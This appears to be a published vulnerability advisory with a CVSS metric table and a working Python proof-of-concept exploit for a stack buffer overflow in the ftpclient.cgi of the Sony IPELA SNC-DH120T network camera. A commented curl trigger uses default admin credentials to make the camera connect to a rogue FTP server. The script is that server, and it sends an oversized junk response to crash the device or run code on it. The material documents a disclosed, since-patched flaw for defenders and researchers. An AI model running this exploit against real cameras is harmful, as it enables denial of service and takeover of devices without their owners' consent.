CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

Sony IPELA Network Camera Remote Stack Buffer Overflow

#!/usr/bin/env python # # # Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow # # # Vendor: Sony Electronics Inc. # Product web page: https://pro.sony # Affected version: SNC-DH120T v1.82.01 # # # Summary: IPELA is Sony's vision of the ultimate workplace, designed to revolutionize # the way business communicates over global IP networks. IPELA products can improve the # efficiency of your organization by connecting people and places with high-quality audio # and video. The SNC-DH120T is an indoor tamper proof, high definition (720p) minidome # network security camera with Electronic Day/Night settings, DEPA analysis and is ONVIF # compliant. It supports dual streaming of H.264, MPEG-4 and JPEG at full frame-rate. # # Desc: The vulnerability is caused due to a boundary error in the processing of received # FTP traffic through the FTP client functionality (ftpclient.cgi), which can be exploited # to cause a stack-based buffer overflow when a user issues a POST request to connect to a # malicious FTP server. Successful exploitation could allow execution of arbitrary code on # the affected device or cause denial of service scenario. # # Tested on: gen5th/1.x # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5596 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5596.php # Fixed in 1.88.0.0: https://pro.sony/en_NL/support-resources/snc-dh120/software/mpengb00000928 # # # 28.10.2019 # # PoC: # Trigger: # curl 'http://10.0.0.3:5080/command/ftpclient.cgi' \ # -H 'Connection: keep-alive' \ # -H 'Cache-Control: max-age=0' \ # -H 'Authorization: Basic YWRtaW46YWRtaW4=' \ # -H 'Upgrade-Insecure-Requests: 1' \ # -H 'Origin: http://10.0.0.3:5080' \ # -H 'Content-Type: application/x-www-form-urlencoded' \ # -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36' \ # -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \ # -H 'Referer: http://81.83.17.200:5080/en/l4/ftp/common.html' \ # -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \ # --data 'FtpClientFunc=on&FcServerName=10.0.0.5&FcUserName=EVIL&FcPassword=NONESO&FcPassive=off&reload=referer' \ # --compressed \ # --insecure # # # Observed fixed version log: # 2020-07-27 17:48:03 FTP client Unexpected error occurred during FTP client operation. # import socket HOST = '127.0.0.1' # 10.0.0.5 PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) conn, addr = s.accept() print 'Connection from', addr while True: data = conn.recv(1024) if not data: break evil = "A" * 100000 evil += "B" * 10000 evil += "C" * 1000 conn.sendall(evil+'\n') s.close()
